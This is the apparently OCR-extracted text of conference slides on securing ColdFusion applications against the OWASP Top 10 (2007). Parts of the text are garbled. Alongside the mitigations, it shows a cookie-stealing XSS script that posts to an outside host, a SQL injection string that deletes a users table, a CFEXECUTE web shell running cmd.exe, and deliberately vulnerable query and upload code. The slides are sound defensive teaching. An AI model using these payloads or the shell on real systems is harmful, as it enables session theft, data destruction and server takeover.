

Hack proofing ColdFusion

Shlomy Gantz

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AIR

www.cfunited.com



FAQ

I should have gone to Raymond Camden's presentation

Yes, it's 2 hours long.



Yes, slides will be available after at

http://www.shlomygantz.com

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About me

```
<CFSET CurrentTitle = "President, BlueBrick Inc.">
<CFSET experience YY = 16>
<CFSET experience_CF = 12>
<CFSET experience PM = 12>
<CFSET aTitles = arrayNew(1)>
<CFSET aTitles[1] = "Adobe Certified Instructor">
<CFSET aTitles[2] = "Adobe Community Expert">
<CFSET aTitles[3] = "Manager, NYFLEX user group">
<CFSET aTitles[4] = "Speaker, CFUNITED, Max..">
<CFSET aTitles[5] = "Author, CF Developer's Handbook, CFDJ">
<CFSET Mom = "Very Proud">
```





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Agenda


- ColdFusion Vulnerabilities (OWASP)
 - Concepts
 - Real Code
 - Demonstration
- Beyond OWASP
 - Admin
 - RIA
 - SDLC
- Q&A







Layers Of Vulnerability



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Application Attacks

- Relate To The Meaning Of Application Messages:
 - Interpretation of The HTTP Requests
 - Handling of SQL Queries
 - Interpretation of Application Specific Messages
- Harder To Identify Or Replicate
 - Requires understanding of both technology and application domain
 - Vulnerabilities differ between applications

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Application Attacks

- Easier To Exploit…
 - Coding Is Simple
 - GUI Assisted (Paros, NetCat...)









Application Attacks

- Application Attacks Are Often More Dangerous
- Involve Organization's Core Operation
- Infrastructure Attacks Usually Target The Servers Themselves Only
- Harder To Repair...
 - May Require Code and Design Changes
 - Most Security Staff Has
 IT Background Rather Than
 Development Background



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The origin of vulnerabilities

- Applications assume certain client behaviors
- Developers anticipate only "Real" users will input data



ALL Input Can Be Modified

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OWASP top 10 list

- **Unvalidated Input**
- **Broken Access Control**
- ad Session Management n Accou 3.
- xss) Flaws 4.
- That is so 2004... 5. But
- 6.
- ems
- Inscure Storage 8.
- **Application DoS**
- **Insecure Configuration**

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OWASP TOP 10 - 2007

- A1 Cross Site Scripting (XSS)
- A2 Injection Flaws



A4 - Insecure Direct Object Reference

A5 - Cross Site Request Forgery (CSRF)



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OWASP TOP 10 - 2007

- A6 Information Leakage and Improper Error Handling
- A7 Broken Authentication and Session Management
- A8 Insecure Cryptographic Storage
- A9 Insecure Communications
- A10 Failure to Restrict URL Access

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A1 - XSS

Execute scripts in the victim's browser

- Hijack user sessions/ info
- Deface web sites
- Insert hostile content
- Phishing attacks



```
<script language="javascript">
document.images[0].src='http://www.hack.com?
    ck=' + document.cookie;
</script>
```

EXAMPLE 1

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A1 - XSS

Stored

- Script Is Stored in Trusted Source
 - a) Forums
 - b) User Comments
 - c) Contact Forms
 - d) Online Web Mail System

Reflected

- Script Reflected Off The Web Server In
- Error Messages
- Search Results

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A1 – XSS – Mitigation

- Input validation
- Was OWASP top ten # 1 in 2004
 - The Most Simple Form Of Application Attack
 - Targets The Business Logic Of The Application
 - Does Not Require Any Special Tools
 - Can Be Done On Both Get and Post Variables

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A1 – XSS – Mitigation - Input

- Forms
 - Input fields
 - Hidden Fields
 - User Selection
- URL
 - Query String parameters



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A1 – XSS – Mitigation – Input – Real Code

CartStep1.cfm

```
<input type="hidden" name="price" value="250">
```

Register.cfm

```
<select name="role">
<!-- <option>Admin</option> -->
<option>User</option>
<option>Client</option>
</select>
```

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A1 - XSS - Mitigation - Input

- Reduce Dependency On Hidden Fields By Using The Session Scope
- Do Not Rely On Client Side Validation Alone
- Check Validity Of User Selection and Input Type/Range
 - Use <CFPARAM> Type, Pattern and Range attributes (min, max)
 - Use <CFINPUT> validate attribute onServer as well as onBlur

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A1 – XSS – Mitigation - Input

- Check validity of data using
 - isValid()
 - isDate(), isNumeric(), isMonkey()...



- Enforce maximum length
 - left()





A1 – XSS Mitigation

- Strong output encoding
 - Built in function
 - a) HTMLEditFormat()
 - HtmlTrans()
 - a) http://www.cflib.org/udf.cfm?id=945
- Specify encoding (such as ISO 8859-1 or UTF 8). Do not allow the attacker to choose this for your users.
 - http://www.adobe.com/support/security/bulletins/apsb08-07.html

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A1 – XSS - Mitigation

- Do not use "blacklist" validation, but...
 - Built in CF Protection ScriptProtect
 - CF Admin Setting or in Application.cfc
 - None
 - All Form, URL, CGI, and Cookie)
 - List of ColdFusion scopes
 - Uses RegEx in neo-security.xml to remove:
 - <object>
 - < embed >
 - < script >
 - <applet >
 - <meta >

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A1 - XSS - Mitigation

- Do not use "blacklist" validation, but...
 - CF_XSSBLOCK
 - http://www.illumineti.com/documents/xssblock.txt
 - Change neo-security.xml
 - http://www.12robots.com/index.cfm/2008/9/9/Enhancing-ColdFusion-Script-Protection--Security-Series-10
- Log, Alert and Review Violations



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A2 – Injection Flaws

- executing unintended commands or changing data.
 - SQL Injection
 - HTML Injection (Huh?)



EXAMPLE 2 – SQL Injection

EXAMPLE 3 – HTML Injection

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A2 – Injection Flaws

SQL Injection

editUser.cfm?user_id=1;delete from users

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A2 – Injection Flaws

- SQL Injection can be used for
 - Executing malicious code
 - Circumventing Security
 - Stealing information
 - Defacing sites (Cast)

DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0×4445434C45 245204054207661726368617228323535

Adds text to all text/char fields

http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html

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A2 – Injection Flaws – Real Code

getProduct.cfm

```
<cfset strSQL = "SELECT * FROM tblUser WHERE user_id =">
<cfset strSQL = strSQL & url.user_id>

<cfquery name="qUser">
#PreserveSingleQuotes(strSQL)#
</cfquery>
```

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A2 - Injection Flaws - Mitigation

- <CFQUERYPARAM>
- Consider Stored Procedures
- Limit DB Permissions
 - CF Admin datasource settings
 - Database
- Disable XP_cmdshell and Equivalents
- Consider Server Sandboxing
- Do not rely on ColdFusion s. quote escaping

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A2 - Injection Flaws - Mitigation

- Tools :
 - Free: wsdigger, sqlmap
- Cheat Sheet

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku

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A3 - Malicious File Execution

- Remote file inclusion (RFI)
 - any framework which accepts filenames or files from users.
- Remote code execution
- Remote root kit installation









A3 - Malicious File Execution - Real Code

addClientLogo.cfm

```
<cffile action="upload"
    destination="#expandpath('.')#\images\logos"
    filefield="theFile" nameconflict="makeunique">
```

logo: c:\hack\hglogo.gif.cfm Browse...

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A3 - Malicious File Execution - The result

All your base are belong to us...

Zero wing



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A3 - Malicious File Execution – Real Code

```
<cfif IsDefined("FORM.cmd")>
    <cfoutput>#cmd#</cfoutput>
    <cfexecute name="C:\windows\System32\cmd.exe"</pre>
           arguments="/c #cmd#"
    outputfile="#GetTempDirectory()#foobar.txt"
           timeout="1">
    </cfexecute>
</cfif>
```

EXAMPLE 4 – Remote File Inclusion

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A3 - Malicious File Execution - Mitigation

- Securing <CFFILE action="upload">
 - Use ACCEPT attribute

```
<cffile action="upload"
   accpet="image/gif,image/jpeg" ...>
```

- Do not rely on MIME type alone, confirm on server side
- Use Built in ColdFusion function
 - a) isImageFile()
 - b) isPdfFile()
 - c) isMonkeyFile()



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A3 - Malicious File Execution - Mitigation

- Upload files outside of webroot
 - Serve them back with CFCONTENT

- Limit file size by looking at cgi.content_length
 - CGI.CONTENT_LENGTH/1000 ~ KB
- Consider renaming files, use indirect /stored references
- Change permissions on uploaded files

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A4 - Insecure Direct Object Reference

 Exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter



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A4 - Insecure Direct Object Reference

For example Primary Keys

```
viewAccount.cfm?accountNo=455324143
```

```
<cfquery name="bankdb">
SELECT * FROM tblAccounts
WHERE AccountNo = '#url.accountNo#'
</cfquery>
```

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A4 - Insecure Direct Object Reference

- Primary Keys
 - Switch to UUID
 - CreateUUID()
 - Consider using internal/external references

UserID	SUserID	Name
550e8400e29b41d4a716446655440000	1	Shlomy
450e8400edf87ac145466111343474362	2	Jane







A4 - Insecure Direct Object Reference

- Use Hash() to perform checksum
 - One way transformation
 - Almost impossible to reverse

```
?user_id=#user_id#&chk=#hash(user_id)#
```

Checksum is performed on the next page

```
<cfif hash(user_id) is not chk>
<cfabort>
</cfif>
```

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- Rely on victim to be is logged in
- Request is sent using victim's browser while they are logged in.
 - Perform administrative functions
 - Perform bank transactions









1. Admin Logs in to discussion forum



2. Admin views messages in forum



- 3. Message contains
 -



4. User 1 is deleted



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- Use POST instead of GET
 - and scope your variables !!!



- Ask for re-authentication on sensitive pages
 - Amazon does...

 Insert custom random tokens into every FORM and URL requests CF

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list.cfm

```
<cfset session.csrf.userDelete = CreateUUID() />
<a</pre>
```

```
href="deleteUser.cfm?user_id=#qUser.User_ID#&chk=#session.csrf.userDelete#">
```

deleteUser.cfm

```
<cfif NOT url.chk is session.csrf.userDelete>
```

```
<CFABORT>
```

```
</cfif>
```

<cfset structDelete(session.csrf,"userDelete")>

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A6 - Information Leakage and Improper Error Handling

- Applications can unintentionally leak information about
 - Configuration
 - Internal workings
 - Sensitive data
- Detailed error handling
- Detailed exception/validation messages









A6 - Information Leakage and Improper Error Handling

- Detailed Error can disclose:
 - Directory Structure
 - Code Snippets
 - Query Structure
- Detailed exception/validation can disclose:
 - A better vector of attack
 - Private information





A6 - Information Leakage and Improper Error Handling

- Disable Debugging on Production
- Define Site Wide Error and 404 Handler
 - BTW: Review error AND 404 logs
- Use <CFERROR> / OnError()
 - You can disable them based on a session variable
- Display error codes for sensitive validation/exceptions
- Only display "login failed" on failed authentication

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A7 - Broken Authentication and Session Management

- Account Authentication Bypassing
 - Login Tampering
 - Brute Force

- Session Hijacking
 - Brute Force
 - ID Predicting
 - Sniffing and Eavesdropping
 - Using HTTP_REFERER with SessionID Is Passed On URL



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A7 - Broken Authentication and Session Management

- Enforce At Least 8 Characters Password
- Require Numbers and Special Characters
- Do Not Sent Permanent Passwords Via Email
- **Expire Passwords**
- Do not allow repeat passwords
- Restrict Access After Failed Login Attempts
- Log, Alert and Review



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A7 - Broken Authentication and Session Management

- Require Re-authentication On Email Change
- Use SSL on login page
- Regenerate session on authentication
- Disable Browser Caching
 - Prevents cached data from being accessed
- Use UUID For CFTOKEN
- Use J2EE Sessions
- Control Session Timeout

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A7 - Broken Authentication and Session Management

- Check CGI Variables
 - CGI. HTTP_REFERER
 - CGI. CF_TEMPLATE_PATH
 - Note: They Can Be Spoofed!
- <CFLOGIN> functions
 - isUserInRole(), getAuthUser(), IsUserInAnyRole()
 - GetUserRoles(), IsUserLoggedIn()
- <CFNTAuthenticate>





A7 - Broken Authentication and Session Management

- Set Session Cookies to HTTPOnly
 - Jason Dean

http://www.12robots.com/index.cfm/2009/5/6/Makingthe-JSESSIONID-Session-Token-Cookie-SECURE-and-HTTPOnly-and-settings-its-PATH

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A8 - Insecure Cryptographic Storage

- Storing Sensitive Information Using Inadequate Encryption Schemas
 - Failure to encrypt critical data
 - Insecure storage of keys, certificates, and passwords
 - Improper storage of secrets in memory
 - Poor sources of randomness
 - Poor choice of algorithm
 - Attempting to invent a new encryption algorithm
 - Failure to include support for encryption key changes and other required maintenance procedures

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A8 - Insecure Cryptographic Storage

Oh... and one more thing...

Storing passwords in clear text



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A8 - Insecure Cryptographic Storage

- Encrypt Sensitive Data
 - Encrypt()/Decrypt() Two Way
 - a) Uses Symmetric Key
 - b) CF7
 - Additional Algorithms (AES,BLOWFISH,DES...)
 - Generatesecretkey()
 - c) CF8
 - RSA BSafe encryption
 - Hash() One Way
 - a) Nearly Impossible To Revert
 - b) Does Not Require Key
 - c) Best For Passwords
 - d) Adding "Salt"

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A9 - Insecure Communications

- Failure to encrypt sensitive communications
- Use SSL for transmitting sensitive or value data
 - Credentials
 - Credit card details
 - Health
 - Private information
- PCI DSS compliance is mandatory for merchants and anyone else dealing with credit cards.

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- Only preventing the display of links or URLs to unauthorized users.
 - Accessing unauthorized action
 - Accessing unauthorized files



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ListUser.cfm

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showContractPDF.cfm

<cfinclude template="#url.ID#/#url.ID#.pdf"</pre>











 Check Data Access Permissions On Every Request

- Control Access from a single location
 - Rely on session level variables rather than cookies







Files

Path Traversal

Getfile.cfm?file=head1.pdf

- While we are on the subject ...
 - a) Forceful Browsing
 - Static File Links
 - Hidden Files (Security By Obscurity)
 - File Name Predictions
 - i. Known System Files
 - ii. .log / .old Files
 - iii. Structured file name

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- Files
 - Store Files to Download Outside Of Webroot
 - Use <CFCONTENT> To Serve Files To The User

```
<CFCONTENT TYPE="application.pdf"
FILE="d:\contracts\#id#.pdf">
```

 Block access to .xml or .ini and similar files at the web server level CF

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Configure CF Admin

- New in CF8
 - a) RDS sandbox support
 - b) User-based Administrator access
- Secure Admin Directory With NT Authentication Or Completely Remove
- Do Not Deploy Docs, Sample Apps and RDS To Production
- Do Not Store DB Password in code
- Disable Unused Services

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- If you are not using, disable
 - "Flash remoting"
 - "access to internal ColdFusion Java components"
 - "Watch configuration files for changes"
- Set default request timeout ~10 seconds
 - You can override for long running requests
- Check "Prefix serialized JSON with" (//)

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- Enable global Script protection
- Set Maximum size of post data
- Change client variable storage from registry
- Use operating system logging facilities







- Set Privileges
 - Run ColdFusion service as a user
 - user name and password authentication for CFADMIN
 - Create least privilege user for each DSN
- Sandbox applications
 - Remove execute from non cfm folders

http://foundeo.com/security/presentations/hardening-coldfusion.pdf

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Beyond OWASP - RIA Security

- CFCs can be used as back-end for:
 - Flash/Flex
 - AJAX
 - SOAP
 - Non-browser based application
- New in CF8
 - VerifyClient()
 - secureJSON()

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- Integrate Security Into Your SDLC
 - Design with security in mind
 - Hack/Pen Test During/After Development
 - Create Anti-requirements
 - Review Code Regularly
- Hack proofing old code
 - Automate the process
 - Follow a checklist based on OWASP



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- Security Analysis
 - Define threats
 - a) data
 - b) Architecture
 - Assess the Impact (cost/benefit)
 - a) Financial
 - b) PR
 - Mitigate







- Define threats
 - STRIDE
 - **1. S**poofing Identity
 - 2. Tampering with Data
 - **3.** Repudiation
 - 4. Information Disclosure
 - **5. D**enial of Service
 - **6.** Elevation of Privilege

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- Assess the Impact
 - DREAD (score 1-10 .. Then avg.)
 - 1. Damage Potential Houston, we have a problem
 - 2. Reproducibility Happens every time
 - **3.** Exploitability A monkey could do it
 - **4.** Affected Users TJX 45.7 million cards
 - 5. Discoverability No source code required
- Mitigate

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Beyond OWASP - Security Design Principles

- Authentication
 - Who are you
- Authorization
 - What can you do
- Confidentiality
 - What can you see
- Non-repudiation
 - Did you really do that
- Availability
 - Your ability to do it (no nike pun please)

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nd OWASP - Social Engineering

- Simply Asking For :
 - Information
 - Passwords
 - Assistance
- Requires No Technical Skills







Resources

- Open Web Application Security Project (OWASP)
 - http://www.owasp.org
- ColdFusion Specific
 - <u>http://www.adobe.com/devnet/coldfusion/s</u>
 <u>ecurity.html</u>
 - http://www.coldfusionsecurity.org/
- Products
 - Foundeo Web Application Firewall for ColdFusion

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Questions

Shlomy Gantz shlomy@bluebrick.com

http://www.shlomygantz.com/blog



